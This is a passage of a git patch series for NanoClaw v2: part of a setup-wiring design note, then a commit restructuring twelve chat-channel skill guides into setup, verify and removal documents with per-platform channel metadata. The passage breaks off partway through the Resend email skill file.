nobody creates the v2 entities needed for routing. + +**Fix needed:** Add a step (probably between current step 5 and 6, or as part of step 5) that: +1. Asks "What do you want to name your assistant?" (already partially handled by `--assistant-name`) +2. Asks which channel+platform-id is the primary/admin channel +3. Creates the agent_group with `is_admin=1` +4. Creates messaging_group + messaging_group_agents wiring +5. Optionally creates additional non-admin agent groups + +The v1 flow embedded this in each channel skill's "Register" phase. The v2 flow should either do the same (add register calls to each v2 channel skill) or centralize it. + +### 4. Setup Groups Step (`setup/groups.ts`) + +Check if `setup/groups.ts` exists and what it does. It may need updating for v2 or may need to be created. + +### 5. Channel Skills Should Know Channel Type + +Each v2 channel skill knows its channel type (discord, telegram, slack, etc.) but the registration args need the platform-specific channel/group ID which the user must provide. The skill should ask for this during Phase 3 (Setup) and then call register. + +### 6. Verify Step Channel Auth Check + +`setup/verify.ts` currently checks for a limited set of channel tokens: +- TELEGRAM_BOT_TOKEN, SLACK_BOT_TOKEN, SLACK_APP_TOKEN, DISCORD_BOT_TOKEN +- WhatsApp auth dir + +It should also check for v2 channel tokens: +- GITHUB_TOKEN, LINEAR_API_KEY, GCHAT_CREDENTIALS, TEAMS_APP_PASSWORD, etc. + +--- + +## Architecture Reference + +### v2 Entity Model +``` +agent_groups (id, name, folder, is_admin, agent_provider, container_config) + ↕ many-to-many +messaging_groups (id, channel_type, platform_id, name, is_group, admin_user_id) + via +messaging_group_agents (messaging_group_id, agent_group_id, trigger_rules, session_mode, priority) +``` + +### Message Flow +``` +Channel adapter → routeInbound() → resolve messaging_group → resolve agent via messaging_group_agents +→ resolve/create session → write to inbound.db → wake container → agent-runner polls inbound.db +→ agent responds → writes to outbound.db → host delivery poll reads outbound.db → deliver via adapter +``` + +### Key Files +| File | Purpose | +|------|---------| +| `src/index.ts` | v2 entry point, imports channel barrel | +| `src/channels/index.ts` | Channel barrel — uncomment to enable | +| `src/router.ts` | Inbound routing, auto-creates messaging groups | +| `src/session-manager.ts` | Creates inbound.db + outbound.db per session | +| `src/delivery.ts` | Polls outbound.db, delivers, handles system actions | +| `src/host-sweep.ts` | Syncs processing_ack, stale detection, recurrence | +| `src/container-runner.ts` | Spawns containers, OneCLI ensureAgent + applyContainerConfig | +| `setup/register.ts` | Creates v2 entities (agent_group, messaging_group, wiring) | +| `setup/verify.ts` | Checks v2 central DB for registered groups | +| `container/agent-runner/src/db/connection.ts` | Two-DB connection layer (inbound read-only, outbound read-write) | From 57a6491c7e7820b5c0e8ccf3a91fa7a3080fd470 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:19:19 +0300 Subject: [PATCH 030/295] v2: channel isolation model, manage-channels skill, refactored channel skills - Add three-level isolation model (shared session, same agent, separate agent) with agent-shared session mode for cross-channel shared sessions - Create /manage-channels skill for wiring channels to agent groups - Refactor all 12 v2 channel skills: lean SKILL.md + VERIFY.md + REMOVE.md with structured Channel Info section for platform-specific metadata - Create /add-discord-v2 skill (was missing) - Add step 5a to setup SKILL.md invoking /manage-channels after channel install - Update setup/verify.ts to check all 12 channel token types - Add docs/v2-isolation-model.md explaining the isolation model - Update v2-checklist.md and v2-setup-wiring.md to reflect completed work Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-discord-v2/REMOVE.md | 7 ++ .claude/skills/add-discord-v2/SKILL.md | 69 +++++++++++++++ .claude/skills/add-discord-v2/VERIFY.md | 3 + .claude/skills/add-gchat-v2/REMOVE.md | 6 ++ .claude/skills/add-gchat-v2/SKILL.md | 44 ++++------ .claude/skills/add-gchat-v2/VERIFY.md | 3 + .claude/skills/add-github-v2/REMOVE.md | 6 ++ .claude/skills/add-github-v2/SKILL.md | 46 ++++------ .claude/skills/add-github-v2/VERIFY.md | 3 + .claude/skills/add-imessage-v2/REMOVE.md | 6 ++ .claude/skills/add-imessage-v2/SKILL.md | 59 ++++++------- .claude/skills/add-imessage-v2/VERIFY.md | 3 + .claude/skills/add-linear-v2/REMOVE.md | 6 ++ .claude/skills/add-linear-v2/SKILL.md | 44 ++++------ .claude/skills/add-linear-v2/VERIFY.md | 3 + .claude/skills/add-matrix-v2/REMOVE.md | 6 ++ .claude/skills/add-matrix-v2/SKILL.md | 58 +++++------- .claude/skills/add-matrix-v2/VERIFY.md | 3 + .claude/skills/add-resend-v2/REMOVE.md | 6 ++ .claude/skills/add-resend-v2/SKILL.md | 60 ++++++------- .claude/skills/add-resend-v2/VERIFY.md | 3 + .claude/skills/add-slack-v2/REMOVE.md | 6 ++ .claude/skills/add-slack-v2/SKILL.md | 59 ++++++------- .claude/skills/add-slack-v2/VERIFY.md | 3 + .claude/skills/add-teams-v2/REMOVE.md | 6 ++ .claude/skills/add-teams-v2/SKILL.md | 54 +++++------- .claude/skills/add-teams-v2/VERIFY.md | 3 + .claude/skills/add-telegram-v2/REMOVE.md | 6 ++ .claude/skills/add-telegram-v2/SKILL.md | 58 ++++++------ .claude/skills/add-telegram-v2/VERIFY.md | 3 + .claude/skills/add-webex-v2/REMOVE.md | 6 ++ .claude/skills/add-webex-v2/SKILL.md | 55 +++++------- .claude/skills/add-webex-v2/VERIFY.md | 3 + .../skills/add-whatsapp-cloud-v2/REMOVE.md | 6 ++ .claude/skills/add-whatsapp-cloud-v2/SKILL.md | 67 ++++++-------- .../skills/add-whatsapp-cloud-v2/VERIFY.md | 3 + .claude/skills/manage-channels/SKILL.md | 81 +++++++++++++++++ .claude/skills/setup/SKILL.md | 17 +++- docs/v2-checklist.md | 6 +- docs/v2-isolation-model.md | 88 +++++++++++++++++++ docs/v2-setup-wiring.md | 71 +++------------ setup/verify.ts | 39 +++++--- src/channels/adapter.ts | 2 +- src/db/sessions.ts | 7 ++ src/session-manager.ts | 31 +++++-- src/types.ts | 2 +- 46 files changed, 677 insertions(+), 449 deletions(-) create mode 100644 .claude/skills/add-discord-v2/REMOVE.md create mode 100644 .claude/skills/add-discord-v2/SKILL.md create mode 100644 .claude/skills/add-discord-v2/VERIFY.md create mode 100644 .claude/skills/add-gchat-v2/REMOVE.md create mode 100644 .claude/skills/add-gchat-v2/VERIFY.md create mode 100644 .claude/skills/add-github-v2/REMOVE.md create mode 100644 .claude/skills/add-github-v2/VERIFY.md create mode 100644 .claude/skills/add-imessage-v2/REMOVE.md create mode 100644 .claude/skills/add-imessage-v2/VERIFY.md create mode 100644 .claude/skills/add-linear-v2/REMOVE.md create mode 100644 .claude/skills/add-linear-v2/VERIFY.md create mode 100644 .claude/skills/add-matrix-v2/REMOVE.md create mode 100644 .claude/skills/add-matrix-v2/VERIFY.md create mode 100644 .claude/skills/add-resend-v2/REMOVE.md create mode 100644 .claude/skills/add-resend-v2/VERIFY.md create mode 100644 .claude/skills/add-slack-v2/REMOVE.md create mode 100644 .claude/skills/add-slack-v2/VERIFY.md create mode 100644 .claude/skills/add-teams-v2/REMOVE.md create mode 100644 .claude/skills/add-teams-v2/VERIFY.md create mode 100644 .claude/skills/add-telegram-v2/REMOVE.md create mode 100644 .claude/skills/add-telegram-v2/VERIFY.md create mode 100644 .claude/skills/add-webex-v2/REMOVE.md create mode 100644 .claude/skills/add-webex-v2/VERIFY.md create mode 100644 .claude/skills/add-whatsapp-cloud-v2/REMOVE.md create mode 100644 .claude/skills/add-whatsapp-cloud-v2/VERIFY.md create mode 100644 .claude/skills/manage-channels/SKILL.md create mode 100644 docs/v2-isolation-model.md diff --git a/.claude/skills/add-discord-v2/REMOVE.md b/.claude/skills/add-discord-v2/REMOVE.md new file mode 100644 index 0000000..702e55d --- /dev/null +++ b/.claude/skills/add-discord-v2/REMOVE.md @@ -0,0 +1,7 @@ +# Remove Discord + +1. Comment out `import './discord.js'` in `src/channels/index.ts` +2. Remove `DISCORD_BOT_TOKEN` from `.env` +3. Rebuild and restart + +No package to uninstall — Discord is built in. diff --git a/.claude/skills/add-discord-v2/SKILL.md b/.claude/skills/add-discord-v2/SKILL.md new file mode 100644 index 0000000..40d6f9e --- /dev/null +++ b/.claude/skills/add-discord-v2/SKILL.md @@ -0,0 +1,69 @@ +--- +name: add-discord-v2 +description: Add Discord bot channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Discord Channel + +Adds Discord bot support to NanoClaw v2. Discord is built in — no adapter package to install. + +## Pre-flight + +Check if `src/channels/discord.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. + +## Install + +Discord support is bundled with NanoClaw — there is no separate package to install. + +### Enable the channel + +Uncomment the Discord import in `src/channels/index.ts`: + +```typescript +import './discord.js'; +``` + +### Build + +```bash +npm run build +``` + +## Credentials + +### Create Discord Bot + +1. Go to the [Discord Developer Portal](https://discord.com/developers/applications) +2. Click **New Application** and give it a name (e.g., "NanoClaw Assistant") +3. Go to the **Bot** tab and click **Add Bot** if needed +4. Copy the Bot Token (click **Reset Token** if you need a new one — you can only see it once) +5. Under **Privileged Gateway Intents**, enable **Message Content Intent** +6. Go to **OAuth2** > **URL Generator**: + - Scopes: select `bot` + - Bot Permissions: select `Send Messages`, `Read Message History`, `Add Reactions`, `Attach Files`, `Use Slash Commands` +7. Copy the generated URL and open it in your browser to invite the bot to your server + +### Configure environment + +Add to `.env`: + +```bash +DISCORD_BOT_TOKEN=your-bot-token +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +## Next Steps + +If you're in the middle of `/setup`, return to the setup flow now. + +Otherwise, run `/manage-channels` to wire this channel to an agent group. + +## Channel Info + +- **type**: `discord` +- **terminology**: Discord has "servers" (also called "guilds") containing "channels." Text channels start with #. The bot can also receive direct messages. +- **how-to-find-id**: Enable Developer Mode in Discord (Settings > App Settings > Advanced > Developer Mode). Then right-click a server or channel and select "Copy ID." +- **supports-threads**: yes +- **typical-use**: Interactive chat — server channels or direct messages +- **default-isolation**: Same agent group for your personal server. Separate agent group for servers with different communities or where different members have different information boundaries. diff --git a/.claude/skills/add-discord-v2/VERIFY.md b/.claude/skills/add-discord-v2/VERIFY.md new file mode 100644 index 0000000..0db2e5a --- /dev/null +++ b/.claude/skills/add-discord-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Discord + +Send a message in a channel where the bot has access, or DM the bot directly. The bot should respond within a few seconds. diff --git a/.claude/skills/add-gchat-v2/REMOVE.md b/.claude/skills/add-gchat-v2/REMOVE.md new file mode 100644 index 0000000..7bf56de --- /dev/null +++ b/.claude/skills/add-gchat-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Google Chat Channel + +1. Comment out `import './gchat.js'` in `src/channels/index.ts` +2. Remove `GCHAT_CREDENTIALS` from `.env` +3. `npm uninstall @chat-adapter/gchat` +4. Rebuild and restart diff --git a/.claude/skills/add-gchat-v2/SKILL.md b/.claude/skills/add-gchat-v2/SKILL.md index aa4a740..df1ab94 100644 --- a/.claude/skills/add-gchat-v2/SKILL.md +++ b/.claude/skills/add-gchat-v2/SKILL.md @@ -3,39 +3,31 @@ name: add-gchat-v2 description: Add Google Chat channel integration to NanoClaw v2 via Chat SDK. --- -# Add Google Chat Channel (v2) +# Add Google Chat Channel -This skill adds Google Chat support to NanoClaw v2 using the Chat SDK bridge. +Adds Google Chat support to NanoClaw v2 using the Chat SDK bridge. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/gchat.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/gchat.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @chat-adapter/gchat ``` -### Enable the channel - Uncomment the Google Chat import in `src/channels/index.ts`: ```typescript import './gchat.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup - -### Create Google Chat App +## Credentials > 1. Go to [Google Cloud Console](https://console.cloud.google.com) > 2. Create or select a project @@ -58,21 +50,17 @@ GCHAT_CREDENTIALS={"type":"service_account","project_id":"...","private_key":".. Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Add the bot to a Google Chat space, then send a message or @mention the bot. +## Channel Info -## Removal - -1. Comment out `import './gchat.js'` in `src/channels/index.ts` -2. Remove `GCHAT_CREDENTIALS` from `.env` -3. `npm uninstall @chat-adapter/gchat` -4. Rebuild and restart +- **type**: `gchat` +- **terminology**: Google Chat has "spaces." A space can be a group conversation or a direct message with the bot. +- **how-to-find-id**: Open the space in Google Chat, look at the URL — the space ID is the segment after `/space/` (e.g. `spaces/AAAA...`). Or use the Google Chat API to list spaces. +- **supports-threads**: yes +- **typical-use**: Interactive chat — team spaces or direct messages +- **default-isolation**: Same agent group for spaces where you're the primary user. Separate agent group for spaces with different teams or sensitive contexts. diff --git a/.claude/skills/add-gchat-v2/VERIFY.md b/.claude/skills/add-gchat-v2/VERIFY.md new file mode 100644 index 0000000..fc131a4 --- /dev/null +++ b/.claude/skills/add-gchat-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Google Chat Channel + +Add the bot to a Google Chat space, then send a message or @mention the bot. The bot should respond within a few seconds. diff --git a/.claude/skills/add-github-v2/REMOVE.md b/.claude/skills/add-github-v2/REMOVE.md new file mode 100644 index 0000000..8f04e83 --- /dev/null +++ b/.claude/skills/add-github-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove GitHub Channel + +1. Comment out `import './github.js'` in `src/channels/index.ts` +2. Remove `GITHUB_TOKEN` and `GITHUB_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @chat-adapter/github` +4. Rebuild and restart diff --git a/.claude/skills/add-github-v2/SKILL.md b/.claude/skills/add-github-v2/SKILL.md index f2e7276..3ade91d 100644 --- a/.claude/skills/add-github-v2/SKILL.md +++ b/.claude/skills/add-github-v2/SKILL.md @@ -1,41 +1,33 @@ --- name: add-github-v2 -description: Add GitHub channel integration to NanoClaw v2 via Chat SDK. PR comment threads as conversations. +description: Add GitHub channel integration to NanoClaw v2 via Chat SDK. PR and issue comment threads as conversations. --- -# Add GitHub Channel (v2) +# Add GitHub Channel -This skill adds GitHub support to NanoClaw v2 using the Chat SDK bridge. The agent can participate in PR comment threads. +Adds GitHub support to NanoClaw v2 using the Chat SDK bridge. The agent participates in PR and issue comment threads. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/github.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/github.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @chat-adapter/github ``` -### Enable the channel - Uncomment the GitHub import in `src/channels/index.ts`: ```typescript import './github.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup - -### Create GitHub credentials +## Credentials > 1. Go to [GitHub Settings > Developer Settings > Personal Access Tokens](https://github.com/settings/tokens) > 2. Create a **Fine-grained token** with: @@ -60,21 +52,17 @@ GITHUB_WEBHOOK_SECRET=your-webhook-secret Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> @mention the bot in a PR comment or issue comment. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './github.js'` in `src/channels/index.ts` -2. Remove `GITHUB_TOKEN` and `GITHUB_WEBHOOK_SECRET` from `.env` -3. `npm uninstall @chat-adapter/github` -4. Rebuild and restart +- **type**: `github` +- **terminology**: GitHub has "repositories" containing "pull requests" and "issues." Each PR or issue comment thread is a separate conversation. +- **how-to-find-id**: The platform ID is `owner/repo` (e.g. `acme/backend`). Each PR/issue becomes its own thread automatically. +- **supports-threads**: yes (PR and issue comment threads are native conversations) +- **typical-use**: Webhook/notification — the agent receives PR and issue events and responds in comment threads +- **default-isolation**: Typically shares a session with a chat channel (e.g. Slack) so the agent can summarize PRs and respond to reviews in the same context. Use a separate agent group if the repo contains sensitive code that other channels shouldn't access. diff --git a/.claude/skills/add-github-v2/VERIFY.md b/.claude/skills/add-github-v2/VERIFY.md new file mode 100644 index 0000000..61840b7 --- /dev/null +++ b/.claude/skills/add-github-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify GitHub Channel + +@mention the bot in a PR comment or issue comment. The bot should respond within a few seconds. diff --git a/.claude/skills/add-imessage-v2/REMOVE.md b/.claude/skills/add-imessage-v2/REMOVE.md new file mode 100644 index 0000000..3163e85 --- /dev/null +++ b/.claude/skills/add-imessage-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove iMessage Channel + +1. Comment out `import './imessage.js'` in `src/channels/index.ts` +2. Remove iMessage env vars (`IMESSAGE_ENABLED`, `IMESSAGE_LOCAL`, `IMESSAGE_SERVER_URL`, `IMESSAGE_API_KEY`) from `.env` +3. `npm uninstall chat-adapter-imessage` +4. Rebuild and restart diff --git a/.claude/skills/add-imessage-v2/SKILL.md b/.claude/skills/add-imessage-v2/SKILL.md index 6ac1a6f..65bd709 100644 --- a/.claude/skills/add-imessage-v2/SKILL.md +++ b/.claude/skills/add-imessage-v2/SKILL.md @@ -3,61 +3,55 @@ name: add-imessage-v2 description: Add iMessage channel integration to NanoClaw v2 via Chat SDK. Local (macOS) or remote (Photon API) mode. --- -# Add iMessage Channel (v2) +# Add iMessage Channel -This skill adds iMessage support to NanoClaw v2 using the Chat SDK bridge. Supports local mode (macOS with Full Disk Access) and remote mode (via Photon API). +Adds iMessage support to NanoClaw v2 using the Chat SDK bridge. Two modes: local (macOS with Full Disk Access) or remote (Photon API). -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/imessage.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/imessage.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install chat-adapter-imessage ``` -### Enable the channel - Uncomment the iMessage import in `src/channels/index.ts`: ```typescript import './imessage.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup +## Credentials ### Local Mode (macOS) -> **Requirements**: macOS with Full Disk Access granted to your terminal/Node.js process. -> -> 1. Go to **System Settings** > **Privacy & Security** > **Full Disk Access** -> 2. Add your terminal app (Terminal, iTerm2, etc.) or the Node.js binary -> 3. The adapter reads directly from the iMessage database on disk +Requirements: macOS with Full Disk Access granted to your terminal/Node.js process. + +1. Go to **System Settings** > **Privacy & Security** > **Full Disk Access** +2. Add your terminal app (Terminal, iTerm2, etc.) or the Node.js binary +3. The adapter reads directly from the iMessage database on disk ### Remote Mode (Photon API) -> 1. Set up a [Photon](https://photon.im) account -> 2. Get your server URL and API key +1. Set up a [Photon](https://photon.im) account +2. Get your server URL and API key ### Configure environment -**Local mode** — add to `.env`: +**Local mode** -- add to `.env`: ```bash IMESSAGE_ENABLED=true IMESSAGE_LOCAL=true ``` -**Remote mode** — add to `.env`: +**Remote mode** -- add to `.env`: ```bash IMESSAGE_LOCAL=false @@ -67,20 +61,17 @@ IMESSAGE_API_KEY=your-api-key Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Send an iMessage to the account running NanoClaw. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './imessage.js'` in `src/channels/index.ts` -2. Remove iMessage env vars from `.env` -3. `npm uninstall chat-adapter-imessage` -4. Rebuild and restart +- **type**: `imessage` +- **terminology**: iMessage has "conversations." Each conversation is with a contact identified by phone number or email address. Group chats are also supported. +- **how-to-find-id**: The platform ID is the contact's phone number (e.g. `+15551234567`) or email address. For group chats, the ID is assigned by iMessage internally. +- **supports-threads**: no +- **typical-use**: Interactive 1:1 chat — personal messaging +- **default-isolation**: Same agent group if you're the only person messaging the bot across iMessage and other channels. Separate agent group if different contacts should have information isolation. diff --git a/.claude/skills/add-imessage-v2/VERIFY.md b/.claude/skills/add-imessage-v2/VERIFY.md new file mode 100644 index 0000000..4fa4755 --- /dev/null +++ b/.claude/skills/add-imessage-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify iMessage Channel + +Send an iMessage to the account running NanoClaw. The bot should respond within a few seconds. diff --git a/.claude/skills/add-linear-v2/REMOVE.md b/.claude/skills/add-linear-v2/REMOVE.md new file mode 100644 index 0000000..858c000 --- /dev/null +++ b/.claude/skills/add-linear-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Linear Channel + +1. Comment out `import './linear.js'` in `src/channels/index.ts` +2. Remove `LINEAR_API_KEY` and `LINEAR_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @chat-adapter/linear` +4. Rebuild and restart diff --git a/.claude/skills/add-linear-v2/SKILL.md b/.claude/skills/add-linear-v2/SKILL.md index d4b1933..cfa505d 100644 --- a/.claude/skills/add-linear-v2/SKILL.md +++ b/.claude/skills/add-linear-v2/SKILL.md @@ -3,39 +3,31 @@ name: add-linear-v2 description: Add Linear channel integration to NanoClaw v2 via Chat SDK. Issue comment threads as conversations. --- -# Add Linear Channel (v2) +# Add Linear Channel -This skill adds Linear support to NanoClaw v2 using the Chat SDK bridge. The agent can participate in issue comment threads. +Adds Linear support to NanoClaw v2 using the Chat SDK bridge. The agent participates in issue comment threads. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/linear.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/linear.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @chat-adapter/linear ``` -### Enable the channel - Uncomment the Linear import in `src/channels/index.ts`: ```typescript import './linear.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup - -### Create Linear credentials +## Credentials > 1. Go to [Linear Settings > API](https://linear.app/settings/api) > 2. Create a **Personal API Key** (or use an OAuth application for team-wide access) @@ -57,21 +49,17 @@ LINEAR_WEBHOOK_SECRET=your-webhook-secret Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> @mention the bot in a Linear issue comment. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './linear.js'` in `src/channels/index.ts` -2. Remove `LINEAR_API_KEY` and `LINEAR_WEBHOOK_SECRET` from `.env` -3. `npm uninstall @chat-adapter/linear` -4. Rebuild and restart +- **type**: `linear` +- **terminology**: Linear has "teams" containing "issues." Each issue's comment thread is a separate conversation. +- **how-to-find-id**: The platform ID is your team key (e.g. `ENG`). Find it in Linear under Settings > Teams. Each issue becomes its own thread automatically. +- **supports-threads**: yes (issue comment threads are native conversations) +- **typical-use**: Webhook/notification — the agent receives issue comment events and responds in threads +- **default-isolation**: Typically shares a session with a chat channel (e.g. Slack) so the agent can discuss issues in the same context as team chat. Use a separate agent group if the Linear team tracks sensitive work. diff --git a/.claude/skills/add-linear-v2/VERIFY.md b/.claude/skills/add-linear-v2/VERIFY.md new file mode 100644 index 0000000..8a2581a --- /dev/null +++ b/.claude/skills/add-linear-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Linear Channel + +@mention the bot in a Linear issue comment. The bot should respond within a few seconds. diff --git a/.claude/skills/add-matrix-v2/REMOVE.md b/.claude/skills/add-matrix-v2/REMOVE.md new file mode 100644 index 0000000..0f5ca1c --- /dev/null +++ b/.claude/skills/add-matrix-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Matrix Channel + +1. Comment out `import './matrix.js'` in `src/channels/index.ts` +2. Remove `MATRIX_BASE_URL`, `MATRIX_ACCESS_TOKEN`, `MATRIX_USER_ID`, `MATRIX_BOT_USERNAME` from `.env` +3. `npm uninstall @beeper/chat-adapter-matrix` +4. Rebuild and restart diff --git a/.claude/skills/add-matrix-v2/SKILL.md b/.claude/skills/add-matrix-v2/SKILL.md index 8684cf1..59ea5e6 100644 --- a/.claude/skills/add-matrix-v2/SKILL.md +++ b/.claude/skills/add-matrix-v2/SKILL.md @@ -1,48 +1,40 @@ --- name: add-matrix-v2 -description: Add Matrix channel integration to NanoClaw v2 via Chat SDK. Works with any Matrix homeserver (Element, Beeper, etc.). +description: Add Matrix channel integration to NanoClaw v2 via Chat SDK. Works with any Matrix homeserver. --- -# Add Matrix Channel (v2) +# Add Matrix Channel -This skill adds Matrix support to NanoClaw v2 using the Chat SDK bridge. Works with any Matrix homeserver. +Adds Matrix support to NanoClaw v2 using the Chat SDK bridge. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/matrix.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/matrix.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @beeper/chat-adapter-matrix ``` -### Enable the channel - Uncomment the Matrix import in `src/channels/index.ts`: ```typescript import './matrix.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup +## Credentials -### Create Matrix bot account - -> 1. Register a bot account on your Matrix homeserver (e.g., via Element) -> 2. Get the homeserver URL (e.g., `https://matrix.org` or your self-hosted URL) -> 3. Get an access token: -> - In Element: **Settings** > **Help & About** > **Access Token** (advanced) -> - Or via API: `curl -XPOST 'https://matrix.org/_matrix/client/r0/login' -d '{"type":"m.login.password","user":"botuser","password":"..."}'` -> 4. Note the bot's user ID (e.g., `@botuser:matrix.org`) +1. Register a bot account on your Matrix homeserver (e.g., via Element) +2. Get the homeserver URL (e.g., `https://matrix.org` or your self-hosted URL) +3. Get an access token: + - In Element: **Settings** > **Help & About** > **Access Token** (advanced) + - Or via API: `curl -XPOST 'https://matrix.org/_matrix/client/r0/login' -d '{"type":"m.login.password","user":"botuser","password":"..."}'` +4. Note the bot's user ID (e.g., `@botuser:matrix.org`) ### Configure environment @@ -57,21 +49,17 @@ MATRIX_BOT_USERNAME=botuser Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Invite the bot to a Matrix room and send a message. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './matrix.js'` in `src/channels/index.ts` -2. Remove `MATRIX_BASE_URL`, `MATRIX_ACCESS_TOKEN`, `MATRIX_USER_ID`, `MATRIX_BOT_USERNAME` from `.env` -3. `npm uninstall @beeper/chat-adapter-matrix` -4. Rebuild and restart +- **type**: `matrix` +- **terminology**: Matrix has "rooms." A room can be a group chat or a direct message. Rooms have internal IDs (like `!abc123:matrix.org`) and optional aliases (like `#general:matrix.org`). +- **how-to-find-id**: In Element, click the room name > Settings > Advanced — the "Internal room ID" is the platform ID (starts with `!`). Or use a room alias like `#general:matrix.org`. +- **supports-threads**: partial (some clients support threads, but not all — treat as no for reliability) +- **typical-use**: Interactive chat — rooms or direct messages +- **default-isolation**: Same agent group for rooms where you're the primary user. Separate agent group for rooms with different communities or sensitive contexts. diff --git a/.claude/skills/add-matrix-v2/VERIFY.md b/.claude/skills/add-matrix-v2/VERIFY.md new file mode 100644 index 0000000..f483abb --- /dev/null +++ b/.claude/skills/add-matrix-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Matrix Channel + +Invite the bot to a Matrix room and send a message. The bot should respond within a few seconds. diff --git a/.claude/skills/add-resend-v2/REMOVE.md b/.claude/skills/add-resend-v2/REMOVE.md new file mode 100644 index 0000000..83e7a44 --- /dev/null +++ b/.claude/skills/add-resend-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Resend Email Channel + +1. Comment out `import './resend.js'` in `src/channels/index.ts` +2. Remove `RESEND_API_KEY`, `RESEND_FROM_ADDRESS`, `RESEND_FROM_NAME`, `RESEND_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @resend/chat-sdk-adapter` +4. Rebuild and restart diff --git a/.claude/skills/add-resend-v2/SKILL.md b/.claude/skills/add-resend-v2/SKILL.md index ae25e3f..eaf0e92 100644 --- a/.claude/skills/add-resend-v2/SKILL.md +++ b/.claude/skills/add-resend-v2/SKILL.md @@ -3,48 +3,42 @@ name: add-resend-v2 description: Add Resend (email) channel integration to NanoClaw v2 via Chat SDK. --- -# Add Resend Email Channel (v2) +# Add Resend Email Channel -This skill adds email support via Resend to NanoClaw v2 using the Chat SDK bridge. +Connect NanoClaw to email via Resend for async email conversations. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/resend.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/resend.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @resend/chat-sdk-adapter ``` -### Enable the channel - Uncomment the Resend import in `src/channels/index.ts`: ```typescript 